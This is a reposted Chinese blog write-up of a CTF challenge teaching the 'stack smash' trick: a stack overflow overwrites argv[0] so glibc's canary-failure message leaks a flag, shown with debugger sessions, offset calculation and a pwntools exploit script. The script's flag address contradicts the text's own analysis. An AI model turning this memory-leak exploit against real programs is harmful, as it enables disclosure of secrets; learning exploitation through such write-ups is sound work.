花式栈溢出技巧之stack smash

原理

  • 在程序添加了canary保护后,如果我们读取的buffer覆盖了对应的值时,程序就会报错,而我们一般并不会关心报错信息。
  • 但stack smash技巧则是利用打印这一信息的程序得到我们想要的内容。
  • 这是因为程序在启动canary保护之后,如果发现canary被修改的话,程序就会执行__stack_chk_fail函数来打印argv[0]指针所指向的字符串,正常情况下,这个指针指向程序名。
  • 所以说如果我们利用栈溢出覆盖argv[0]为我们想要的输出的字符串地址,那么在__fortify_fail函数中就会输出我们想要的信息。
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

Example

checksec+IDA

[*] '/mnt/hgfs/ubuntu_share/pwn/stack/readme/readme.bin'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

  • 开启了Canary,Nx和FORTIFY保护
unsigned __int64 sub_4007E0()
{
  __int64 v0; // rbx
  int v1; // eax
  __int64 v3; // [rsp+0h] [rbp-128h]
  unsigned __int64 v4; // [rsp+108h] [rbp-20h]

  v4 = __readfsqword(0x28u);
  __printf_chk();
  if ( !_IO_gets((__int64)&v3, (__int64)"Hello!\nWhat's your name? ") )
LABEL_9:
    _exit(1);
  v0 = 0LL;
  __printf_chk();
  while ( 1 )
  {
    v1 = _IO_getc(stdin);
    if ( v1 == -1 )
      goto LABEL_9;
    if ( v1 == '\n' )
      break;
    byte_600D20[v0++] = v1;
    if ( v0 == 32 )
      goto LABEL_8;
  }
  memset((void *)((signed int)v0 + 0x600D20LL), 0, (unsigned int)(32 - v0));
LABEL_8:
  puts("Thank you, bye!");
  return __readfsqword(0x28u) ^ v4;
}

分析程序逻辑

  • 可以看出函数的溢出点在v3处
  • 发现在while循环里的byte_600D20可能有点东西
  • 果不其然,服务器的程序在该位置处是真正的flag
  • 再仔细分析该程序,发现需要输入两次,第一次为溢出,第二次输入的字符覆盖掉了flag的部分字符
  • while之后还进行了memset清零,可以看出来,flag的位数应为32位,flag把第二次输入的保留,剩下的全部清0。
  • 所以我们把argv[0]指针指向的地址直接改为600D20是不行的,这里用到一个小技巧:
  • 在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出,可以使用 gdb 的 gref 来进行查找。

查找存储flag的地址

  • 把断点下在memset处
gef➤  b *0x400873
Breakpoint 1 at 0x400873
gef➤  r
Starting program: /mnt/hgfs/ubuntu_share/pwn/stack/readme/readme.bin 
Hello!
What's your name? seu_student
Nice to meet you, seu_student.
Please overwrite the flag: sus_2019

Breakpoint 1, 0x0000000000400873 in ?? ()

gef➤  grep sus
[+] Searching 'sus' in memory
[+] In '/mnt/hgfs/ubuntu_share/pwn/stack/readme/readme.bin'(0x600000-0x601000), permission=rw-
  0x600d20 - 0x600d3f  →   "sus_2019ServerHasTheFlagHere..." 
[+] In '[heap]'(0x601000-0x622000), permission=rw-
  0x601010 - 0x60101e  →   "sus_2019\nnt\n" 
[+] In '/lib/x86_64-linux-gnu/libc-2.23.so'(0x7ffff7a0d000-0x7ffff7bcd000), permission=r-x
  0x7ffff7a226d2 - 0x7ffff7a226d9  →   "suspend" 
gef➤  grep 2C3
[+] Searching '2C3' in memory
[+] In '/mnt/hgfs/ubuntu_share/pwn/stack/readme/readme.bin'(0x400000-0x401000), permission=r-x
  0x400d21 - 0x400d3f  →   "2C3_TheServerHasTheFlagHere..." 

  • 可以看出在0x400d21地址处存储的就是另一处映射的flag

查找偏移

  • 下面我们需要查找偏移
  • 将断点下在main函数处,查看文件名的存储地址

  • 将0x00007fffffffde18存储的地址覆盖为0x400d21即可。
  • 如何覆盖0x00007fffffffde18该处的地址呢?
  • 我们将断点下在call io_gets的后一个地址处
gef➤  b *0x400813
Breakpoint 1 at 0x400813
gef➤  r
Starting program: /mnt/hgfs/ubuntu_share/pwn/stack/readme/readme.bin 
Hello!
What's your name? seu_student

Breakpoint 1, 0x0000000000400813 in ?? ()


───────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdc00│+0x0000: "seu_student"	 ← $rax, $rsp
0x00007fffffffdc08│+0x0008: 0x0000000000746e65 ("ent"?)
0x00007fffffffdc10│+0x0010: 0x0000000000000000
0x00007fffffffdc18│+0x0018: 0x0000000000000000
0x00007fffffffdc20│+0x0020: 0x0000000000000000
0x00007fffffffdc28│+0x0028: 0x0000000000000000
0x00007fffffffdc30│+0x0030: 0x0000000000000000
0x00007fffffffdc38│+0x0038: 0x0000000000000000

  • 可以看到输入的字符串存储在了0x00007fffffffdc00地址处。
  • 这样我们需要输入(0x00007fffffffde18-0x00007fffffffdc00)个字符,然后覆盖该地址的内容为flag的地址

编写exp

from pwn import *

context.log_level = 'DEBUG'

sh = process("readme.bin")

#sh = remote("pwn.jarvisoj.com", 9877)

arg_addr = 0x00007fffffffde18

rsp_addr = 0x00007fffffffdc00

#flag_addr = 0x400d21

flag_addr = 0x600d20

sh.recvuntil('name?')

payload = 'a' * (arg_addr - rsp_addr) + p64(flag_addr)

sh.sendline(payload)

sh.recvuntil("flag:")

sh.sendline('a')

data = sh.recv()

sh.interactive()

发布了287 篇原创文章 · 获赞 84 · 访问量 27万+

猜你喜欢

转载自blog.csdn.net/AcSuccess/article/details/104597264
今日推荐